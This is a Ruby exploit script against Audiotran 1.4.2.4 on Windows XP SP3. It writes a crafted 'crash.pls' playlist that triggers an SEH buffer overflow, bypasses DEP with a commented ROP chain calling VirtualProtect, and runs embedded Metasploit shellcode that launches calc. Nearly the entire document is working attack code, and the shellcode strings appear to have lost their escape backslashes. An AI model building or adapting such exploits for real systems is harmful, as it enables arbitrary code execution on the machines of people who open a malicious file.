# Exploit Title: Audiotran 1.4.2.4 SEH Overflow Exploit (DEP Bypass)
# Date: 09/20/10
# Credit/Bug found by : Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com  
# Author: Muhamad Fadzil Ramli - mind1355 at gmail dot com  
# Software Link: http://www.e-soft.co.uk/Audiotran.htm  
# Version: 1.4.2.4  
# Tested on: Windows XP SP3 EN  (Virtualbox 3.2.8 r64453)
# CVE: N/A 
# greetz to PVE (corelanc0d3r - great tutorial) & Intranium Pentester

#! /usr/bin/env ruby

# windows/exec - 144 bytes  
# http://www.metasploit.com  
# Encoder: x86/shikata_ga_nai  
# EXITFUNC=seh, CMD=calc  

payload =  "xdbxc0x31xc9xbfx7cx16x70xcc" 
payload << "xd9x74x24xf4xb1x1ex58x31x78" 
payload << "x18x83xe8xfcx03x78x68xf4x85" 
payload << "x30x78xbcx65xc9x78xb6x23xf5" 
payload << "xf3xb4xaex7dx02xaax3ax32x1c" 
payload << "xbfx62xedx1dx54xd5x66x29x21" 
payload << "xe7x96x60xf5x71xcax06x35xf5" 
payload << "x14xc7x7cxfbx1bx05x6bxf0x27" 
payload << "xddx48xfdx22x38x1bxa2xe8xc3" 
payload << "xf7x3bx7axcfx4cx4fx23xd3x53" 
payload << "xa4x57xf7xd8x3bx83x8ex83x1f" 
payload << "x57x53x64x51xa1x33xcdxf5xc6" 
payload << "xf5xc1x7ex98xf5xaaxf1x05xa8" 
payload << "x26x99x3dx3bxc0xd9xfex51x61" 
payload << "xb6x0ex2fx85x19x87xb7x78x2f" 
payload << "x59x90x7bxd7x05x7fxe8x7bxca"

head	= "x5Bx70x6Cx61x79x6Cx69x73x74x5Dx0Dx0Ax46x69x6Cx65x31x3D" 
junk1	= "A" * 264
seh	= [0x73512733].pack('V') 		# ADD     ESP, 1004 # RETN 	[Module : MSVBVM60.DLL]
retslide = [0x73512739].pack('V') * 624 	# RETN SLIDE

# ROP1
rop1	= ''
rop1 	<< [0x775BB15D].pack('V')		# PUSH    ESP # POP     EDI # XOR     EAX, EAX # POP     EBX # POP     ESI # POP     EBP # RETN    8 	[Module : ole32.dll]
rop1	<< "PPPP" * 3				# PADDING
rop1	<< [0x77C1E842].pack('V')		# PUSH    EDI # POP     EAX # POP     EBP # RETN 	[Module : msvcrt.dll]
rop1	<< "PPPP" * 3				# PADDING
rop1	<< [0x055FB8D2].pack('V') 		# ADD     ESP, 20 # RETN 	[Module : threed32.ocx]
# END

# VIRTUALPROTECT
params	= ''
params << [0x7C801AD4].pack('V') 		# VirtualProtect
params << 'WWWW'   				# return address (param1)
params << 'XXXX'   				# lpAddress      (param2)
params << 'YYYY'   				# Size           (param3)
params << 'ZZZZ'   				# flNewProtect   (param4)
params << [0x10051005].pack('V');  		# writeable address
params << 'PPPP' * 2
# END

# ROP2
# WRITE PARAM 1
# ADD ESP,20 LANDS HERE
rop2	= ''
rop2	<< [0x73511C1F].pack('V')		# PUSH    EDI # ADD     AL, 5F # POP     ESI # POP     EBP # POP     EBX # RETN 	[Module : MSVBVM60.DLL]
rop2	<< "PPPP" * 2				# PADDING
rop2	<< [0x76CAA6AA].pack('V')		# XOR     EAX, EAX # RETN 	[Module : IMAGEHLP.dll]
rop2	<< [0x77C1E842].pack('V')		# PUSH    EDI # POP     EAX # POP     EBP # RETN 	[Module : msvcrt.dll]
rop2	<< "PPPP"				# PADDING
rop2	<< [0x74872AE6].pack('V')		# ADD     EAX, 120 # POP     EBP # RETN    4
rop2	<< "PPPP"				# PADDING
rop2	<< [0x7CB17E80].pack('V')		# MOV     DWORD PTR DS:[ESI+24], EAX # MOV     EAX, ESI # POP     ESI # RETN 	[Module : SHELL32.dll]
rop2	<< "PPPP" * 2
# END

# WRITE PARAM 2
rop2	<< [0x775D13AE].pack('V')		# PUSH    EAX # POP     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x74872AE6].pack('V')		# ADD     EAX, 120 # POP     EBP # RETN    4
rop2	<< "PPPP"				# PADDING
rop2	<< [0x77571088].pack('V')		# INC     ESI # RETN 	[Module : ole32.dll]
rop2	<< "PPPP"				# PADDING
rop2	<< [0x77571088].pack('V')		# INC     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x77571088].pack('V')		# INC     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x77571088].pack('V')		# INC     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x7CB17E80].pack('V')		# MOV     DWORD PTR DS:[ESI+24], EAX # MOV     EAX, ESI # POP     ESI # RETN 	[Module : SHELL32.dll]
rop2	<< "PPPP"
# END

# WRITE PARAM 3
rop2	<< [0x775D13AE].pack('V')		# PUSH    EAX # POP     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x76CAA6AA].pack('V')		# XOR     EAX, EAX # RETN 	[Module : IMAGEHLP.dll]
rop2	<< [0x77C4EC2B].pack('V')		# ADD     EAX, 100 # POP     EBP # RETN 	[Module : msvcrt.dll]
rop2	<< "PPPP"				# PADDING
rop2	<< [0x77C4EC2B].pack('V')		# ADD     EAX, 100 # POP     EBP # RETN 	[Module : msvcrt.dll]
rop2	<< "PPPP"				# PADDING
rop2	<< [0x77C4EC2B].pack('V')		# ADD     EAX, 100 # POP     EBP # RETN 	[Module : msvcrt.dll]
rop2	<< "PPPP"				# PADDING
rop2	<< [0x77571088].pack('V')		# INC     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x77571088].pack('V')		# INC     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x77571088].pack('V')		# INC     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x77571088].pack('V')		# INC     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x7CB17E80].pack('V')		# MOV     DWORD PTR DS:[ESI+24], EAX # MOV     EAX, ESI # POP     ESI # RETN 	[Module : SHELL32.dll]
rop2	<< "PPPP"
# END

# WRITE PARAM 4
rop2	<< [0x775D13AE].pack('V')		# PUSH    EAX # POP     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x76CAA6AA].pack('V')		# XOR     EAX, EAX # RETN 	[Module : IMAGEHLP.dll]
rop2	<< [0x77C4EC1D].pack('V')		# ADD     EAX, 40 # POP     EBP # RETN 	[Module : msvcrt.dll
rop2	<< "PPPP"				# PADDING
rop2	<< [0x77571088].pack('V')		# INC     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x77571088].pack('V')		# INC     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x77571088].pack('V')		# INC     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x77571088].pack('V')		# INC     ESI # RETN 	[Module : ole32.dll]
rop2	<< [0x7CB17E80].pack('V')		# MOV     DWORD PTR DS:[ESI+24], EAX # MOV     EAX, ESI # POP     ESI # RETN 	[Module : SHELL32.dll]
rop2	<< "PPPP"
# END

# POINT ESP TO VIRTUALPROCTECT
rop2	<< [0x61AB06F9].pack('V')		# ADD     EAX, 4 # RETN 	[Module : MFC40.DLL]
rop2	<< [0x61AB06F9].pack('V')		# ADD     EAX, 4 # RETN 	[Module : MFC40.DLL]
rop2	<< [0x61AB06F9].pack('V')		# ADD     EAX, 4 # RETN 	[Module : MFC40.DLL]
rop2	<< [0x61AB06F9].pack('V')		# ADD     EAX, 4 # RETN 	[Module : MFC40.DLL]
rop2	<< [0x61AB06F9].pack('V')		# ADD     EAX, 4 # RETN 	[Module : MFC40.DLL]
rop2	<< [0x27598BEE].pack('V')		# XCHG    EAX, ESP # RETN 	[Module : Mscomctl.ocx]
# END

nops	= "x90" * 300
junk2	= "C" * (10000 - (head + junk1 + seh + retslide + rop1 + params + rop2 + nops + payload).length)
data	= head + junk1 + seh + retslide + rop1 + params + rop2 + nops + payload + junk2

File.open("crash.pls", 'w') do |b|  
	b.write data
	puts "file size : " + data.length.to_s
end